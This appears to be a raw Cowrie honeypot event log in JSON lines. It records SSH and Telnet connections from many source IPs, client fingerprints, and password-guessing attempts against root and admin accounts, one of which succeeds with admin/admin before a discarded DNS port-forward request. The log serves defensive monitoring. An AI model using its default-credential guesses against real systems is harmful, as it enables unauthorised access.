{"eventid":"cowrie.login.failed","username":"root","fingerprint":"38:4a:2f:38:7d:94:87:92:96:bf:de:3e:ba:ea:22:9a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQClD8QR/myxdkibzJgZyWMq7B2iiPe/zL/XF63i7E/edrpySLtNr6xBdoNsFHhIZhd5vqMF3RGZ3HO3sX1vwsoWoZvGsCpvMGrTRcPXTDjMn7FdT33Mf2IzIrxPwOfZmBxor3JUynJFi5bQVeS/0F070r/Ppg0ORbLDYZD3G/IADm81YjsHmt52owIRg3PdsGwK2N7G1Pd5l5BAEgbGVJYcWKb2aWGYHcxhs7795sFaUNpkFDExMu+Uh18lSdHgN1Bk7vly4clqqHnbvJomQwdxjzKjk3XXTUjtZfUDxdyjz3RlUBXLyIB3kF+Tr7xgNHWTn0XA80YPQHCxutGkKTWz","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:48:22.379686Z","src_ip":"107.170.247.81","session":"c5a264d5b7e7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:48:22.454948Z","src_ip":"107.170.247.81","session":"c5a264d5b7e7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":45.57367706298828,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:48:41.392481Z","src_ip":"192.119.13.58","session":"c6815a640c5c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":55758,"dst_ip":"10.17.0.5","dst_port":23,"session":"4b6aefb6e109","protocol":"telnet","message":"New connection: 192.119.13.58:55758 (10.17.0.5:23) [session: 4b6aefb6e109]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:49:48.911160Z"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":10048,"dst_ip":"10.17.0.5","dst_port":22,"session":"0b676dc65640","protocol":"ssh","message":"New connection: 87.251.64.176:10048 (10.17.0.5:22) [session: 0b676dc65640]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:50:05.470704Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:50:05.477723Z","src_ip":"87.251.64.176","session":"0b676dc65640","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:50:05.576349Z","src_ip":"87.251.64.176","session":"0b676dc65640","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:50:05.868921Z","src_ip":"87.251.64.176","session":"0b676dc65640","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:50:05.969647Z","session":"0b676dc65640","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:50:06.072711Z","src_ip":"87.251.64.176","session":"0b676dc65640","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:50:06.183713Z","src_ip":"87.251.64.176","session":"0b676dc65640","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.249.84.242","src_port":41750,"dst_ip":"10.17.0.5","dst_port":22,"session":"1062a73ef9d1","protocol":"ssh","message":"New connection: 103.249.84.242:41750 (10.17.0.5:22) [session: 1062a73ef9d1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:50:11.169419Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:50:11.174073Z","src_ip":"103.249.84.242","session":"1062a73ef9d1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:50:11.408716Z","src_ip":"103.249.84.242","session":"1062a73ef9d1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1234aaaa","message":"login attempt [root/1234aaaa] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:50:12.380607Z","src_ip":"103.249.84.242","session":"1062a73ef9d1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:50:13.624407Z","src_ip":"103.249.84.242","session":"1062a73ef9d1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":37.027668714523315,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:50:25.938705Z","src_ip":"192.119.13.58","session":"4b6aefb6e109","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"43.134.71.92","src_port":52638,"dst_ip":"10.17.0.5","dst_port":22,"session":"aa5d2d89c3c6","protocol":"ssh","message":"New connection: 43.134.71.92:52638 (10.17.0.5:22) [session: aa5d2d89c3c6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:50:32.420798Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:50:32.424968Z","src_ip":"43.134.71.92","session":"aa5d2d89c3c6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.79.125","src_port":59118,"dst_ip":"10.17.0.5","dst_port":22,"session":"d4447390b1dd","protocol":"ssh","message":"New connection: 87.251.79.125:59118 (10.17.0.5:22) [session: d4447390b1dd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:50:32.468617Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:50:32.476741Z","src_ip":"87.251.79.125","session":"d4447390b1dd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:50:32.549504Z","src_ip":"87.251.79.125","session":"d4447390b1dd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:50:32.660713Z","src_ip":"43.134.71.92","session":"aa5d2d89c3c6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"anthony","message":"login attempt [root/anthony] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:50:32.779962Z","src_ip":"87.251.79.125","session":"d4447390b1dd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Orange@123","message":"login attempt [root/Orange@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:50:33.643132Z","src_ip":"43.134.71.92","session":"aa5d2d89c3c6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:50:33.855541Z","src_ip":"87.251.79.125","session":"d4447390b1dd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:50:34.884636Z","src_ip":"43.134.71.92","session":"aa5d2d89c3c6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"157.230.190.155","src_port":37140,"dst_ip":"10.17.0.5","dst_port":22,"session":"e643c58afcc5","protocol":"ssh","message":"New connection: 157.230.190.155:37140 (10.17.0.5:22) [session: e643c58afcc5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:50:51.234484Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:50:51.239010Z","src_ip":"157.230.190.155","session":"e643c58afcc5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:50:51.243662Z","src_ip":"157.230.190.155","session":"e643c58afcc5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1234aaaa","message":"login attempt [root/1234aaaa] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:50:51.292595Z","src_ip":"157.230.190.155","session":"e643c58afcc5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:50:52.300406Z","src_ip":"157.230.190.155","session":"e643c58afcc5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"189.203.163.10","src_port":59840,"dst_ip":"10.17.0.5","dst_port":22,"session":"878f530cd1a3","protocol":"ssh","message":"New connection: 189.203.163.10:59840 (10.17.0.5:22) [session: 878f530cd1a3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:50:53.934878Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:50:53.940030Z","src_ip":"189.203.163.10","session":"878f530cd1a3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:50:54.011435Z","src_ip":"189.203.163.10","session":"878f530cd1a3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"rootrootroot","message":"login attempt [root/rootrootroot] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:50:54.291655Z","src_ip":"189.203.163.10","session":"878f530cd1a3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:50:55.357497Z","src_ip":"189.203.163.10","session":"878f530cd1a3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.77.175.15","src_port":57404,"dst_ip":"10.17.0.5","dst_port":22,"session":"37b4b84784fc","protocol":"ssh","message":"New connection: 103.77.175.15:57404 (10.17.0.5:22) [session: 37b4b84784fc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:51:03.358747Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:51:03.364016Z","src_ip":"103.77.175.15","session":"37b4b84784fc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:51:03.618657Z","src_ip":"103.77.175.15","session":"37b4b84784fc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"kostya","message":"login attempt [root/kostya] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:51:04.374425Z","src_ip":"103.77.175.15","session":"37b4b84784fc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:51:05.634319Z","src_ip":"103.77.175.15","session":"37b4b84784fc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.228.128.84","src_port":59110,"dst_ip":"159.203.135.109","dst_port":22,"session":"5073c3f09883","protocol":"ssh","message":"New connection: 193.228.128.84:59110 (159.203.135.109:22) [session: 5073c3f09883]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:51:28.669561Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:51:28.677750Z","src_ip":"193.228.128.84","session":"5073c3f09883","protocol":"ssh"}
